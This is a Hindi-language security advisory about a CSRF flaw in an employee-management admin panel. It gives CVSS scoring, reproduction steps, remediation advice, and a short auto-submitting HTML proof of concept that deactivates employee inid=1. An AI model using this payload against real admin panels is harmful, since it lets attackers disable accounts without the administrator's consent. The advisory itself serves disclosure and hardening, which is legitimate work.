
प्रशासन पैनल में कर्मचारी निष्क्रियता के लिए CSRF भेद्यता PoC और सुधार मार्गदर्शिका। इसमें CVSS स्कोरिंग, हमले के पुनरुत्पादन चरण और सुरक्षा सख्तीकरण अनुशंसाएँ शामिल हैं।
कर्मचारियों का प्रबंधन कार्यक्षमता क्रॉस-साइट रिक्वेस्ट फॉरजरी (CSRF) के लिए असुरक्षित है।
एक हमलावर लॉग-इन एडमिन को धोखा देकर एक जाली अनुरोध भेज सकता है जो एक कर्मचारी को (जैसे, inid=1) एडमिन की जानकारी या सहमति के बिना निष्क्रिय कर देता है।
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
मॉड्यूल: एडमिन पैनल → कर्मचारी → कर्मचारियों का प्रबंधन
क्रिया: कर्मचारी को निष्क्रिय करें (inid पैरामीटर के माध्यम से)
एडमिन के रूप में लॉगिन करें
/admin एंडपॉइंट पर जाएं और वैध एडमिन क्रेडेंशियल से लॉगिन करें।
कर्मचारियों का प्रबंधन खोलें

निष्क्रिय करने के अनुरोध को कैप्चर करें
अपने प्रॉक्सी (जैसे, Burp Suite) में इंटरसेप्ट चालू करें।
किसी कर्मचारी पर निष्क्रिय क्लिक करें और उस अनुरोध को कैप्चर करें जो उपयोगकर्ता को निष्क्रिय करता है।
अनुरोध में पैरामीटर inid पर ध्यान दें (जैसे, inid=1)।

CSRF PoC उत्पन्न करें
inid=1 के साथ अनुरोध भेजकर उपयोगकर्ता 1 को निष्क्रिय करे।
पीड़ित के रूप में CSRF ट्रिगर करें
HTML PoC को ब्राउज़र में होस्ट करें या खोलें।
जब एडमिन एप्लिकेशन में लॉग इन हो, यदि वे इस PoC पृष्ठ पर जाते हैं और फॉर्म सबमिट करते हैं, तो उपयोगकर्ता 1 निष्क्रिय हो जाएगा।

प्रभाव सत्यापित करें
एडमिन डैशबोर्ड → कर्मचारियों का प्रबंधन पर वापस जाएं।
देखें कि उपयोगकर्ता 1 अब निष्क्रिय के रूप में चिह्नित है।

नीचे एक विशिष्ट PoC है जो
POSTअनुरोध औरinidपैरामीटर मानता है:
<html>
<body>
<form action="http://localhost/elms/admin/manageemployee.php">
<input type="hidden" name="inid" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
इसे csrf_inactivate_emp1.html के रूप में सहेजें।
इस फ़ाइल को भेजें/होस्ट करें और किसी प्रमाणित एडमिन से इसे लोड करने और बटन पर क्लिक करने के लिए कहें।
एक हमलावर एक प्रमाणित एडमिन को मजबूर कर सकता है कि वह एक दुर्भावनापूर्ण पृष्ठ पर जाकर किसी भी कर्मचारी को निष्क्रिय कर दे।
इसके परिणामस्वरूप हो सकता है:
अनधिकृत खाता निष्क्रियीकरण, जो उपयोगकर्ता खातों की उपलब्धता को प्रभावित करता है।
परिचालन व्यवधान (जैसे, महत्वपूर्ण कार्यों के दौरान कर्मचारियों को अक्षम करना)।
अन्य कमजोरियों के साथ संयुक्त संभावित दुरुपयोग (जैसे, कुछ निगरानी या विशेषाधिकार प्राप्त खातों को निष्क्रिय करना)।
हमले के लिए केवल आवश्यक है:
एडमिन लॉग इन है, और
एडमिन हमलावर के नियंत्रण वाले एक दुर्भावनापूर्ण URL/पृष्ठ पर जाता है (फ़िशिंग, एम्बेडेड iframe, दुर्भावनापूर्ण लिंक, आदि)।
यह देखते हुए कि यह एडमिन पोर्टल में उपयोगकर्ता प्रबंधन को सीधे प्रभावित करता है, इस मुद्दे को उच्च गंभीरता माना जाना चाहिए।
CSRF सुरक्षा टोकन लागू करें
सभी स्थिति-परिवर्तन अनुरोधों (जैसे, निष्क्रियीकरण, विलोपन, अद्यतन) में क्रिप्टोग्राफिक रूप से सुरक्षित, अप्रत्याशित CSRF टोकन जोड़ें।
टोकन को फॉर्म में छिपे हुए फ़ील्ड के रूप में एम्बेड करें।
सर्वर साइड पर, सत्यापित करें:
टोकन की उपस्थिति,
टोकन की शुद्धता, और
वर्तमान उपयोगकर्ता सत्र के साथ टोकन का जुड़ाव।
यदि टोकन गायब या अमान्य है तो अनुरोध को अस्वीकार करें।
समान-साइट कुकीज़ का उपयोग करें
सेशन कुकीज़ को SameSite=Lax या अधिमानतः SameSite=Strict के साथ सेट करें जहां संभव हो।
यह क्रॉस-साइट अनुरोधों पर कुकीज़ को स्वचालित रूप से भेजे जाने से रोकता है, जिससे CSRF जोखिम कम होता है।
उचित HTTP विधियों को लागू करें
सुनिश्चित करें कि सभी स्थिति-परिवर्तन संचालन (जैसे कर्मचारी को निष्क्रिय करना) GET के बजाय POST (या PUT/DELETE) का उपयोग करें।
GET पैरामीटर के माध्यम से संवेदनशील स्थिति परिवर्तन स्वीकार न करें।
उत्पत्ति / संदर्भ हेडर को मान्य करें
संवेदनशील एंडपॉइंट पर, Origin या Referer हेडर की जांच करें ताकि यह सुनिश्चित हो सके कि अनुरोध विश्वसनीय डोमेन से आते हैं।
यदि हेडर गायब है या अविश्वसनीय उत्पत्ति से है, तो अनुरोध अस्वीकार करें।
UI/कार्यप्रवाह सुदृढ़ीकरण
संवेदनशील कार्यों (जैसे, एडमिन भूमिका वाले उपयोगकर्ताओं को निष्क्रिय करना) के लिए सर्वर-साइड पुष्टिकरण या पुनः प्रमाणीकरण प्रवाह जोड़ें।
उचित प्राधिकरण जांच लागू करें ताकि यह सुनिश्चित हो सके कि केवल इच्छित भूमिकाएं ही कार्य कर सकें, भले ही CSRF का प्रयास किया जाए।
सुरक्षा परीक्षण
नियमित सुरक्षा परीक्षण (मैन्युअल और स्वचालित) में CSRF जांच को शामिल करें।
सुरक्षा लागू करने के बाद इस एंडपॉइंट (और समान) का पुनः परीक्षण करें ताकि सत्यापित किया जा सके कि PoC अब काम नहीं करता।